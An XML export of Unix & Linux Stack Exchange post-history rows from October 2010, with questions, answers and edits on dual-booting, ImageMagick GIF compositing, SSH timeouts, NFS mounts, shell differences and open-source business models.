  <row Id="7021" PostHistoryTypeId="2" PostId="3313" RevisionGUID="28861820-c5e4-48d7-8eb8-b9eb82e5ef7b" CreationDate="2010-10-20T12:39:23.980" UserId="2327" Text="In my experience always install windows as first OS. Otherwise it will overwrite the boot loader of the before installed OS. There are ways around it, but these just make it more complicated.&#xD;&#xA;&#xD;&#xA;After installing windows, install your first linux distribution. It normally will find your windows installation and add it to its boot loader automatically so you can dual boot with windows and linux.&#xD;&#xA;&#xD;&#xA;now comes the third linux distribution. some distributions find other distributions and will add them to there boot loader (I don't know it for sure for suse and red hat). Just try it during your installation. When all OSes are recognized install the boot loader of your third OS, otherwise boot into your first linux distribution and add the second one manually to the boot loader. As the type and version of the boot loader depend on the distribution I can't tell you how to do it, but you'll find some good tutorials in the net." />
  <row Id="7022" PostHistoryTypeId="2" PostId="3314" RevisionGUID="c8af8cdf-acd5-4e20-981c-17403d536eb1" CreationDate="2010-10-20T12:49:18.450" UserId="102" Text="If I understood you correctly, you want one animated gif that looks like 5 animated gifs playing in parallel, right?&#xD;&#xA;&#xD;&#xA;[Imagemagick][1] can do that (and much more). Probably even in one line of code, but I'll do it in several steps. Lets assume your gifs are called `anim1.gif`…`anim5.gif` and are each 100x100 pixels.&#xD;&#xA;&#xD;&#xA;    #Combine anim1.gif and anim2.gif (first row)&#xD;&#xA;    convert anim1.gif -repage 200x100 -coalesce null: \( anim2.gif -coalesce \) -geometry +100+0 -layers Composite anim1+2.gif&#xD;&#xA;    #Combine anim3.gif and anim4.gif (1st part of last row)&#xD;&#xA;    convert anim3.gif -repage 200x100 -coalesce null: \( anim4.gif -coalesce \) -geometry +100+0 -layers Composite anim3+4.gif&#xD;&#xA;    #Combine anim3+4.gif and anim5.gif (last row)&#xD;&#xA;    convert anim3+4.gif -repage 300x100 -coalesce null: \( anim5.gif -coalesce \) -geometry +200+0 -layers Composite anim3+4+5.gif&#xD;&#xA;    #Combine all, leaving one in the middle empty&#xD;&#xA;    convert anim1+2.gif -repage 300x300 -coalesce null: \( anim3+4+5.gif -coalesce \) -geometry +0+200 -layers Composite anim_all.gif&#xD;&#xA;&#xD;&#xA;The final result (with animations examples from the imagemagick web page) looks like this:&#xD;&#xA;![animated gif][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org/&#xD;&#xA;  [2]: http://i.imgur.com/9SQaQ.gif" />
  <row Id="7023" PostHistoryTypeId="2" PostId="3315" RevisionGUID="866942bd-ba8c-4ecf-b501-dbff73c24a0d" CreationDate="2010-10-20T13:07:48.367" UserId="2363" Text="Hi,&#xD;&#xA;I have Red Hat Linux Enterprise Edition 5 on my box. Recently i started getting issue with my ssh service not keeping connection and randomly disconnecting with my clients.&#xD;&#xA;&#xD;&#xA;Ping works perfectly fine just that port 22 is blocked randomly.&#xD;&#xA;&#xD;&#xA;Has anyone faced this issue? What is the solution?&#xD;&#xA;Thanks&#xD;&#xA;Nayn" />
  <row Id="7024" PostHistoryTypeId="1" PostId="3315" RevisionGUID="866942bd-ba8c-4ecf-b501-dbff73c24a0d" CreationDate="2010-10-20T13:07:48.367" UserId="2363" Text="ssh getting disrupted intermittently" />
  <row Id="7025" PostHistoryTypeId="3" PostId="3315" RevisionGUID="866942bd-ba8c-4ecf-b501-dbff73c24a0d" CreationDate="2010-10-20T13:07:48.367" UserId="2363" Text="élinuxàésshàérhelà" />
  <row Id="7026" PostHistoryTypeId="5" PostId="3314" RevisionGUID="2efd9aa4-f3c6-4a21-b1bf-2316b86766ad" CreationDate="2010-10-20T13:15:19.960" UserId="102" Comment="added link to imagemagick manual" Text="If I understood you correctly, you want one animated gif that looks like 5 animated gifs playing in parallel, right?&#xD;&#xA;&#xD;&#xA;[Imagemagick][1] can do that (and much more). Probably even in one line of code, but I'll do it in several steps. Lets assume your gifs are called `anim1.gif`…`anim5.gif` and are each 100x100 pixels.&#xD;&#xA;&#xD;&#xA;    #Combine anim1.gif and anim2.gif (first row)&#xD;&#xA;    convert anim1.gif -repage 200x100 -coalesce null: \( anim2.gif -coalesce \) -geometry +100+0 -layers Composite anim1+2.gif&#xD;&#xA;    #Combine anim3.gif and anim4.gif (1st part of last row)&#xD;&#xA;    convert anim3.gif -repage 200x100 -coalesce null: \( anim4.gif -coalesce \) -geometry +100+0 -layers Composite anim3+4.gif&#xD;&#xA;    #Combine anim3+4.gif and anim5.gif (last row)&#xD;&#xA;    convert anim3+4.gif -repage 300x100 -coalesce null: \( anim5.gif -coalesce \) -geometry +200+0 -layers Composite anim3+4+5.gif&#xD;&#xA;    #Combine all, leaving one in the middle empty&#xD;&#xA;    convert anim1+2.gif -repage 300x300 -coalesce null: \( anim3+4+5.gif -coalesce \) -geometry +0+200 -layers Composite anim_all.gif&#xD;&#xA;&#xD;&#xA;The technique is described in more detail [here][2] (“Layered Composition“)&#xD;&#xA;&#xD;&#xA;The final result (with animations examples from the imagemagick web page) looks like this:&#xD;&#xA;![animated gif][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org/&#xD;&#xA;  [2]: http://imagemagick.org/Usage/anim_mods/#append&#xD;&#xA;  [3]: http://i.imgur.com/9SQaQ.gif" />
  <row Id="7027" PostHistoryTypeId="2" PostId="3316" RevisionGUID="3259427d-aff0-443b-a4bc-f84d360deb92" CreationDate="2010-10-20T13:42:46.113" UserId="295" Text="I export 3 directories via NFS (pisces:/media/music, pisces:/media/video, pisces:/media/photo) that I mount individually. Currently, they all appear on my (Ubuntu) Gnome desktop as 'pisces', which is less than useful.&#xD;&#xA;&#xD;&#xA;The doc seems to indicate that the `-LABEL` switch isn't supported for NFS `mount`; is there some other way of labeling the mounts?&#xD;&#xA;&#xD;&#xA;ta,&#xD;&#xA;-- peter" />
  <row Id="7028" PostHistoryTypeId="1" PostId="3316" RevisionGUID="3259427d-aff0-443b-a4bc-f84d360deb92" CreationDate="2010-10-20T13:42:46.113" UserId="295" Text="Is it possible to mount an NFS partition with a label?" />
  <row Id="7029" PostHistoryTypeId="3" PostId="3316" RevisionGUID="3259427d-aff0-443b-a4bc-f84d360deb92" CreationDate="2010-10-20T13:42:46.113" UserId="295" Text="énfsà" />
  <row Id="7030" PostHistoryTypeId="2" PostId="3317" RevisionGUID="0b73236b-ccc6-47ed-994b-4ce9e81a2ea8" CreationDate="2010-10-20T14:04:01.687" UserId="250" Text="From what you say I think you have more than one hard drive, and each might have more than one partition. This doesn't directly answer your question, but do you really have to convert them all?&#xD;&#xA;&#xD;&#xA;Linux [handles NTFS][1] quite well, so access to your old files will be no problem. You can also configure those partitions to be automounted easily.&#xD;&#xA;&#xD;&#xA;Using Linux with a permission-unaware filesystem has its advantages (especially if you use it alone and/or intend to setup a multiple-boot system).&#xD;&#xA;&#xD;&#xA;A typical Linux installation will need from 2GB to 5GB, and believe me a 5GB installation is rather full-featured. In your case it's easier to shrink a partition to make 10GB for Linux, and it doesn't even need to be at the beginning of your disk (shrinking the &quot;right&quot; of a partition is easier and faster and less risky than it's &quot;left&quot;).&#xD;&#xA;&#xD;&#xA;The Ubuntu [installation CD][2] provides an option to do this automatically, although I prefer to prepare the disk myself with `gparted`. Backups are always recommended, but if you can't afford it (and are willing to take the risk) then the risk is quite small.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/NTFS#Linux&#xD;&#xA;  [2]: http://www.ubuntu.com/desktop/get-ubuntu/download" />
  <row Id="7031" PostHistoryTypeId="2" PostId="3318" RevisionGUID="9714324d-1fa4-42a5-8aed-3c64641ab001" CreationDate="2010-10-20T14:04:24.567" UserId="396" Text="The problem is likely an intervening firewall with a timeout.&#xD;&#xA;&#xD;&#xA;You can try telling ssh to keep the connection active by appending to ~/.ssh/config:&#xD;&#xA;&#xD;&#xA;    Host *&#xD;&#xA;        ServerAliveInterval 90&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It could also be intermittent failures of the network. From the sshd_config man page regarding TCPKeepAlive (on by default):&#xD;&#xA;&#xD;&#xA;&lt;Blockquote&gt;this means that connections will die if the route is down temporarily, and some people find it annoying. &lt;/Blockquote&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7032" PostHistoryTypeId="6" PostId="3308" RevisionGUID="f6b9af41-4ed4-40e5-8d9c-1446dc776eaa" CreationDate="2010-10-20T14:05:20.433" UserId="250" Comment="edited tags" Text="éfilesystemsàépartitionàéntfsà" />
  <row Id="7033" PostHistoryTypeId="5" PostId="3315" RevisionGUID="9b46c8c2-1f4c-4296-a0d7-2be08c6ba237" CreationDate="2010-10-20T14:38:45.500" UserId="73" Comment="deleted 16 characters in body; edited title" Text="I have Red Hat Linux Enterprise Edition 5 on my box. Recently I started having issues with my SSH service not keeping my connection and randomly disconnecting my clients.&#xD;&#xA;&#xD;&#xA;Ping works perfectly fine, except that port 22 is blocked randomly.&#xD;&#xA;&#xD;&#xA;Has anyone faced this issue? What is the solution?&#xD;&#xA;" />
  <row Id="7034" PostHistoryTypeId="4" PostId="3315" RevisionGUID="9b46c8c2-1f4c-4296-a0d7-2be08c6ba237" CreationDate="2010-10-20T14:38:45.500" UserId="73" Comment="deleted 16 characters in body; edited title" Text="SSH getting disrupted intermittently" />
  <row Id="7035" PostHistoryTypeId="5" PostId="3292" RevisionGUID="bca1d0d4-7f01-4628-a7a2-45f4e941ed04" CreationDate="2010-10-20T14:40:23.563" UserId="73" Comment="added 27 characters in body" Text="I am having problems using `fdisk` to clear the partition table of my sd card. The sd card is identified in the `/dev` folder when inserted into the sd card reader, but when the following command in run:&#xD;&#xA;&#xD;&#xA;    fdisk /dev/sde&#xD;&#xA;&#xD;&#xA;the response in the terminal is: &#xD;&#xA;&#xD;&#xA;&gt; unable to open sde&#xD;&#xA;&#xD;&#xA;I have also tried using `sde1`, which is the partition on the sd card, and it still failed. How do I fix this?" />
  <row Id="7036" PostHistoryTypeId="5" PostId="3316" RevisionGUID="7cd654aa-faf3-4de3-afdf-a7906d982c48" CreationDate="2010-10-20T15:00:45.807" UserId="295" Comment="Add mount cmd detail" Text="I export 3 directories via NFS (pisces:/media/music, pisces:/media/video, pisces:/media/photo) that I mount individually. Currently, they all appear on my (Ubuntu) Gnome desktop as 'pisces', which is less than useful.&#xD;&#xA;&#xD;&#xA;The doc seems to indicate that the `-LABEL` switch isn't supported for NFS `mount`; is there some other way of labeling the mounts?&#xD;&#xA;&#xD;&#xA;The directories are mounted using `/etc/fstab` (unfortunately I don't have access to that machine right now, and can't remember the options; it is pretty close to the defaults though).&#xD;&#xA;&#xD;&#xA;ta,&#xD;&#xA;-- peter" />
  <row Id="7037" PostHistoryTypeId="2" PostId="3319" RevisionGUID="c36aeb54-d8c9-4c0a-8534-f14eaf5ec107" CreationDate="2010-10-20T15:33:10.690" UserId="1207" Text="Since you want an answer &quot;without installing any extra applications like Photobooth,&quot; I've tried to give a solution that doesn't depend on very much.  Also I'm assuming that your webcam uses &quot;[Video4Linux2][1]&quot; and that it is `/dev/video0`.  If this is a modern webcam and if you only have one, these are pretty good assumptions.&#xD;&#xA;&#xD;&#xA;From the command line:&#xD;&#xA;&#xD;&#xA;    $ gst-launch-0.10 v4l2src device=/dev/video0 ! xvimagesink&#xD;&#xA;&#xD;&#xA;On your system the command may be just `gst-launch` or something starting with `gst-launch` but with a different version number. Tab completion should help you find the exact command name.  This tools is in the `gstreamer0.10-tools` package on my Ubuntu system, which is a dependency of libgstreamer, which is a dependency of a large number of the apps on my Ubuntu system and is likely present in the default installation.&#xD;&#xA;&#xD;&#xA;##Other Apps&#xD;&#xA;&#xD;&#xA;If you don't mind installing other applications, here is how you can do this in a few other applications. All of them can easy be installed via `apt-get` or another package manager of your choosing:&#xD;&#xA;&#xD;&#xA;* **VLC**: `$ vlc v4l2:///dev/video0` Also, you can do this from the VLC GUI by going to File-&gt;Open Capture Device&#xD;&#xA;* **mplayer**:  `mplayer tv://device=/dev/video01`&#xD;&#xA;* **Cheese**: This is a photobooth-like app that is very simple to use.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.bytesex.org/v4l2/" />
  <row Id="7038" PostHistoryTypeId="2" PostId="3320" RevisionGUID="1078dc9c-997b-4fa3-b6a6-473cbb957463" CreationDate="2010-10-20T15:36:28.843" UserId="451" Text="What are the fundamental differences between the mainstream *NIX shells and what scenarios might prompt you to use one over the other?  I understand that some of it probably comes down to user preference but I've only ever used bash and I'm interested to hear where another shell might be useful.&#xD;&#xA;&#xD;&#xA;Also, is there an impact on user-written shell scripts when running under one shell or another or is it simply a matter of changing the shell at the top of the file?  My instinct says it's not that easy." />
  <row Id="7039" PostHistoryTypeId="1" PostId="3320" RevisionGUID="1078dc9c-997b-4fa3-b6a6-473cbb957463" CreationDate="2010-10-20T15:36:28.843" UserId="451" Text="What are the fundamental differences between the mainstream *NIX shells?" />
  <row Id="7040" PostHistoryTypeId="3" PostId="3320" RevisionGUID="1078dc9c-997b-4fa3-b6a6-473cbb957463" CreationDate="2010-10-20T15:36:28.843" UserId="451" Text="éshellà" />
  <row Id="7041" PostHistoryTypeId="2" PostId="3321" RevisionGUID="f7758d97-c37c-4938-acca-9abed014b018" CreationDate="2010-10-20T17:29:21.577" UserId="31" Text="There are two basic flavors of shell, sh (e.g., bash) and csh (e.g., tcsh).  For interactive use, it mostly comes down to what you are used to.  I've used csh, and then tcsh, for years and it would be painful to switch, just because I'm so used to it.  I've used bash as well, and I don't think there are any compelling reasons to switch.  Except maybe if one or the other is not available on machines that you regularly use.&#xD;&#xA;&#xD;&#xA;For programming, the syntax is different.  You can't just change the shell, but need to change the syntax of the script as well.  I don't think there is any reason to use something other than bash (or sh) for programming.  The syntax is much more amenable to scripting.  The is a good [guide][1] on bash scripting.&#xD;&#xA;&#xD;&#xA;If you haven't decided on a shell, and you expect to write some scripts, I would use bash just to reduce the amount of things you need to learn. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tldp.org/LDP/abs/html/index.html" />
  <row Id="7042" PostHistoryTypeId="2" PostId="3322" RevisionGUID="9ed1bdf0-8e9e-4b50-ac49-92b813284f28" CreationDate="2010-10-20T17:39:55.947" UserId="1571" Text="What exactly are the differences that make OSX funadmentally incompatable with Linux? I know there are many differences, but what makes OSX so totally different from Linux that makes them incompatable?" />
  <row Id="7043" PostHistoryTypeId="1" PostId="3322" RevisionGUID="9ed1bdf0-8e9e-4b50-ac49-92b813284f28" CreationDate="2010-10-20T17:39:55.947" UserId="1571" Text="What makes OSX programs not runnable on Linux?" />
  <row Id="7044" PostHistoryTypeId="3" PostId="3322" RevisionGUID="9ed1bdf0-8e9e-4b50-ac49-92b813284f28" CreationDate="2010-10-20T17:39:55.947" UserId="1571" Text="éosxàésoftwareàécompatibilityà" />
  <row Id="7045" PostHistoryTypeId="2" PostId="3323" RevisionGUID="74a2431b-dd2b-404d-991d-601a6ead43c0" CreationDate="2010-10-20T17:50:44.960" UserId="481" Text="Why OSX applications won't run natively on linux:&#xD;&#xA;&#xD;&#xA;First of all OSX uses a different binary format than Linux, so Linux can't execute binaries compiled for OSX (the same way it can't execute binaries compiled for Windows or BSD).&#xD;&#xA;&#xD;&#xA;Second of all, if you're talking about GUI applications, Apple's GUI toolkit Cocoa a) is only available for OSX and b) does not run on top of X11.&#xD;&#xA;&#xD;&#xA;Why there is no equivalent of wine for OSX applications:&#xD;&#xA;&#xD;&#xA;A lot of work had to be done before wine was even halfway usable. Since there is not as much demand for an OSX equivalent, no one has invested the same amount of effort into such a project yet." />
  <row Id="7046" PostHistoryTypeId="5" PostId="3321" RevisionGUID="7a8b5cc8-78cb-4b05-b159-6c56be269cb5" CreationDate="2010-10-20T17:55:05.780" UserId="31" Comment="Added link from comments.; added 107 characters in body" Text="There are two basic flavors of shell, sh (e.g., bash) and csh (e.g., tcsh).  For interactive use, it mostly comes down to what you are used to.  I've used csh, and then tcsh, for years and it would be painful to switch, just because I'm so used to it.  I've used bash as well, and I don't think there are any compelling reasons to switch.  Except maybe if one or the other is not available on machines that you regularly use.&#xD;&#xA;&#xD;&#xA;For programming, the syntax is different.  You can't just change the shell, but need to change the syntax of the script as well.  For scripting, you want to use sh or bash.  The syntax is much more amenable to scripting, as explained [here][1] (thanks to [Riccardo Murri][2] for the link.  The is a good [guide][3] on bash scripting.&#xD;&#xA;&#xD;&#xA;If you haven't decided on a shell, and you expect to write some scripts, I would use bash just to reduce the amount of things you need to learn. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ooblick.com/text/CshProgrammingConsideredHarmful.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/274/riccardo-murri&#xD;&#xA;  [3]: http://www.tldp.org/LDP/abs/html/index.html" />
  <row Id="7047" PostHistoryTypeId="5" PostId="3322" RevisionGUID="1217ea52-3d67-4a7d-86df-202756154d8c" CreationDate="2010-10-20T18:03:24.163" UserId="1339" Comment="edited body; edited tags" Text="What exactly are the differences that make OSX funadmentally incompatible with Linux? I know there are many differences, but what makes OSX so totally different from Linux that makes them incompatible?" />
  <row Id="7048" PostHistoryTypeId="6" PostId="3322" RevisionGUID="1217ea52-3d67-4a7d-86df-202756154d8c" CreationDate="2010-10-20T18:03:24.163" UserId="1339" Comment="edited body; edited tags" Text="élinuxàéosxàésoftwareàécompatibilityà" />
  <row Id="7049" PostHistoryTypeId="6" PostId="2259" RevisionGUID="f08a6bb4-2454-4d85-ab11-3ef93f3b33b1" CreationDate="2010-10-20T18:04:30.947" UserId="1339" Comment="edited tags" Text="éiptablesàéqosà" />
  <row Id="7050" PostHistoryTypeId="5" PostId="3297" RevisionGUID="e48f06f3-96c7-4f4a-a6cd-787f606cf2c0" CreationDate="2010-10-20T18:23:41.303" UserId="4" Comment="Update question to show results of the script; added 44 characters in body" Text="I have a script which outputs the following text. This is the output from a [Netopia 2210-02 ADSL2][1] modem.&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line?&#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    # (This simply outputs the contents of the script, unmodified)&#xD;&#xA;    % ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;    # This wraps the output in a weird way&#xD;&#xA;    % ./script | tr '\n' ' '&#xD;&#xA;    Data Rate:                    2880        1024stefanl@hosta:~/Work/Cacti $&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.motorola.com/Consumers/US-EN/Consumer-Product-and-Services/DSL-Modems-and-Gateways/Netopia-ADSL2plus-Modem-2210-US-EN" />
  <row Id="7051" PostHistoryTypeId="5" PostId="3297" RevisionGUID="85322a73-01d8-4658-88fb-f75499683e4e" CreationDate="2010-10-20T18:58:50.673" UserId="4" Comment="fix the prompt" Text="I have a script which outputs the following text. This is the output from a [Netopia 2210-02 ADSL2][1] modem.&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line?&#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    # (This simply outputs the contents of the script, unmodified)&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;    # This wraps the output in a weird way&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | tr '\n' ' '&#xD;&#xA;    Data Rate:                    2880        1024stefanl@hosta:~/Work/Cacti $&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.motorola.com/Consumers/US-EN/Consumer-Product-and-Services/DSL-Modems-and-Gateways/Netopia-ADSL2plus-Modem-2210-US-EN" />
  <row Id="7052" PostHistoryTypeId="2" PostId="3324" RevisionGUID="2e7598d5-1340-43da-82af-e37092d38274" CreationDate="2010-10-20T19:00:38.953" UserId="2117" Text=" Talking about open-source with my mates, I often say that open-source means free, no license etc etc, `&lt;joke&gt;` Yes they really get satisfied with these answers `&lt;/joke&gt;`. &#xD;&#xA;But still I haven't figured out the answer for &#xD;&#xA;&#xD;&#xA;&gt; How do these companies earn ? &#xD;&#xA;&#xD;&#xA;here talking about Linux-distros , as some even provide free overseas shipping ! " />
  <row Id="7053" PostHistoryTypeId="1" PostId="3324" RevisionGUID="2e7598d5-1340-43da-82af-e37092d38274" CreationDate="2010-10-20T19:00:38.953" UserId="2117" Text="Missing something on open-source ? " />
  <row Id="7054" PostHistoryTypeId="3" PostId="3324" RevisionGUID="2e7598d5-1340-43da-82af-e37092d38274" CreationDate="2010-10-20T19:00:38.953" UserId="2117" Text="édistrosàéopensourceöprojectsà" />
  <row Id="7055" PostHistoryTypeId="2" PostId="3325" RevisionGUID="c56269f9-26b5-49f7-8480-075fbefd06e5" CreationDate="2010-10-20T19:19:37.897" UserId="1327" Text="In short, distro's like Ubuntu make money by providing companies 24/7 support. " />
  <row Id="7056" PostHistoryTypeId="2" PostId="3326" RevisionGUID="b0b48d0a-6790-4a2b-82c4-71d40e9790ab" CreationDate="2010-10-20T19:22:30.347" UserId="2210" Text="The two main branches of shells are the Bourne shell derivatives (sh, bash, ksh, ash and zsh) and the csh derivatives (tcsh and...uhm...tcsh). &#xD;&#xA;&#xD;&#xA;I suspect (though I have no actual numbers) that bash is the most widely used, it seems to be the default shell in most linuxes.&#xD;&#xA;&#xD;&#xA;Most things written in one bourne shell derivative will probably work in others.  Most things written in a Bourne shell will probably need to be modified to run under csh or tcsh.&#xD;&#xA;&#xD;&#xA;Personally I used ksh when I started out because that's what was on the system I was using.  I mainly use bash now.  " />
  <row Id="7057" PostHistoryTypeId="5" PostId="3325" RevisionGUID="aa26889c-b661-4d33-bdeb-14cbde352130" CreationDate="2010-10-20T19:28:34.950" UserId="1327" Comment="added 222 characters in body" Text="In short, distro's like Ubuntu make money by providing companies 24/7 [support][1] packages. &#xD;&#xA;&#xD;&#xA;So now the money that usually spent on software can now go for the guy keeping the software running... which is [Canonical](http://www.canonical.com/)...&#xD;&#xA;&#xD;&#xA;[1]:http://www.ubuntulinux.org/support/services" />
  <row Id="7058" PostHistoryTypeId="2" PostId="3327" RevisionGUID="c3524600-a1a7-4ee1-91d7-0bb8f5d8555d" CreationDate="2010-10-20T19:28:48.147" UserId="272" Text="Red Hat is worth over a billion dollars these days. Yes, they make money. By doing consulting, offering support, providing training etc.&#xD;&#xA;&#xD;&#xA;That said, there's not a lot of open source companies that actually *make* money. Canonical certainly doesn't (yet). Novell is in a patch of bad weather. Mandriva is *always* in a patch of bad weather. Zarafa is relatively new and small.&#xD;&#xA;&#xD;&#xA;On the other hand, ask yourself whether there needs to be a single company offering something. Companies like IBM, Oracle, Red Hat, Novell, Intel, AMD, Fujitsu, Dell, HP, QLogic and a *whole lot* of others work together on the kernel. They do not all make money solely on 'selling' that kernel or support to it, but they sure as hell make money.&#xD;&#xA;&#xD;&#xA;The difference between (companies like) Microsoft and (companies like) Novell or Red Hat is that the latter are able to provide value on top of a commodity, whereas (companies like) Microsoft can only make money by making sure that what they are selling never becomes a commodity. That's why Microsoft is scared shitless about open standards. Same goes for Apple. Open standards are not cool if your business is to tie people to your product. Open standards are very cool if you can provide something (support, consulting) on top of an open, standardized commodity platform.&#xD;&#xA;&#xD;&#xA;**That** is how it works :)" />
  <row Id="7059" PostHistoryTypeId="5" PostId="3319" RevisionGUID="45b607e6-cbc7-4482-8819-2bf41acf9bc3" CreationDate="2010-10-20T19:40:17.623" UserId="1207" Comment="typos" Text="Since you want an answer &quot;without installing any extra applications like Photobooth,&quot; I've tried to give a solution that doesn't depend on very much.  Also I'm assuming that your webcam uses &quot;[Video4Linux2][1]&quot; and that it is `/dev/video0`.  If this is a modern webcam and if you only have one, these are pretty good assumptions.&#xD;&#xA;&#xD;&#xA;From the command line:&#xD;&#xA;&#xD;&#xA;    $ gst-launch-0.10 v4l2src device=/dev/video0 ! xvimagesink&#xD;&#xA;&#xD;&#xA;Note that &quot;v4l2src&quot; contains a lowercase L and not the number 1. On your system the command may be `gst-launch` or something starting with `gst-launch` but with a different version number. Tab completion should help you find the exact command name.  This tool is in the `gstreamer0.10-tools` package on my Ubuntu system, which is a dependency of libgstreamer, which is a dependency of a large number of the apps on my Ubuntu system and is likely present in the default installation.&#xD;&#xA;&#xD;&#xA;##Other Applications&#xD;&#xA;&#xD;&#xA;If you don't mind installing other applications, here is how you can do this in a few other applications. All of them can easily be installed via `apt-get` or another package manager of your choosing:&#xD;&#xA;&#xD;&#xA;* **VLC**: `$ vlc v4l2:///dev/video0` Also, you can do this from the VLC GUI by going to File-&gt;Open Capture Device&#xD;&#xA;* **mplayer**:  `mplayer tv://device=/dev/video01`&#xD;&#xA;* **Cheese**: This is a photobooth-like app that is very simple to use.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.bytesex.org/v4l2/" />
  <row Id="7060" PostHistoryTypeId="5" PostId="3319" RevisionGUID="e3f5d123-2384-4258-bfbf-010b3aa15bc9" CreationDate="2010-10-20T20:01:27.983" UserId="1207" Comment="let's spell his name right." Text="Since you want an answer &quot;without installing any extra applications like Photobooth,&quot; I've tried to give a solution that doesn't depend on very much.  Also I'm assuming that your webcam uses &quot;[Video4Linux2][1]&quot; and that it is `/dev/video0`.  If this is a modern webcam and if you only have one, these are pretty good assumptions.&#xD;&#xA;&#xD;&#xA;From the command line:&#xD;&#xA;&#xD;&#xA;    $ gst-launch-0.10 v4l2src device=/dev/video0 ! xvimagesink&#xD;&#xA;&#xD;&#xA;Note that &quot;v4l2src&quot; contains a lowercase L and not the number 1. On your system the command may be `gst-launch` or something starting with `gst-launch` but with a different version number. Tab completion should help you find the exact command name.  This tool is in the `gstreamer0.10-tools` package on my Ubuntu system, which is a dependency of libgstreamer, which is a dependency of a large number of the apps on my Ubuntu system and is likely present in the default installation.&#xD;&#xA;&#xD;&#xA;##Other Applications&#xD;&#xA;&#xD;&#xA;If you don't mind installing other applications, here is how you can do this in a few other applications. All of them can easily be installed via `apt-get` or another package manager of your choosing:&#xD;&#xA;&#xD;&#xA;* **VLC**: `$ vlc v4l2:///dev/video0` Also, you can do this from the VLC GUI by going to File-&gt;Open Capture Device&#xD;&#xA;* **mplayer**:  `mplayer tv://device=/dev/video01` (from Stefan in the comments)&#xD;&#xA;* **Cheese**: This is a photobooth-like app that is very simple to use.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.bytesex.org/v4l2/" />
  <row Id="7061" PostHistoryTypeId="5" PostId="3324" RevisionGUID="d3dce4b1-19c8-446d-8fb1-c7f2cdc7b789" CreationDate="2010-10-20T20:22:48.977" UserId="73" Comment="deleted 184 characters in body; edited title" Text="How do companies that provide free (as in beer) software make money? I'm thinking of things like Linux distros, as some even provide free overseas shipping!&#xD;&#xA;" />
  <row Id="7062" PostHistoryTypeId="4" PostId="3324" RevisionGUID="d3dce4b1-19c8-446d-8fb1-c7f2cdc7b789" CreationDate="2010-10-20T20:22:48.977" UserId="73" Comment="deleted 184 characters in body; edited title" Text="How do free software companies make money?" />
  <row Id="7063" PostHistoryTypeId="2" PostId="3328" RevisionGUID="b2797a30-302d-43c7-9015-b8c38d18c4d5" CreationDate="2010-10-20T21:04:46.990" UserId="2367" Text="Hi everybody,&#xD;&#xA;In my ubuntu 10.10 after configure an external CRT on S-Video in cloning desktop, I've lost my desktop icon and right clicking on it does not show menu and menu bar too.&#xD;&#xA;&#xD;&#xA;I've tried to resolve with following command:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-desktop&#xD;&#xA;    sudo apt-get install gnome-panel&#xD;&#xA;    sudo chown -R $ USER: $ USER /Scrivania&#xD;&#xA;&#xD;&#xA;with following sequence of commands I've gotten again main menu but nothing to do for get back my desktop:&#xD;&#xA;&#xD;&#xA;    mkdir ~/.oldpanel&#xD;&#xA;    mv ~/.gconf/apps/panel ~/.oldpanel&#xD;&#xA;    gconftool-2 --shutdown&#xD;&#xA;    pkill gnome-panel&#xD;&#xA;    sudo apt-get install --reinstall ubuntu-desktop&#xD;&#xA;&#xD;&#xA;Have you any idea to resolve my problem?&#xD;&#xA;thanks in advance&#xD;&#xA;ciao&#xD;&#xA;h.&#xD;&#xA;" />
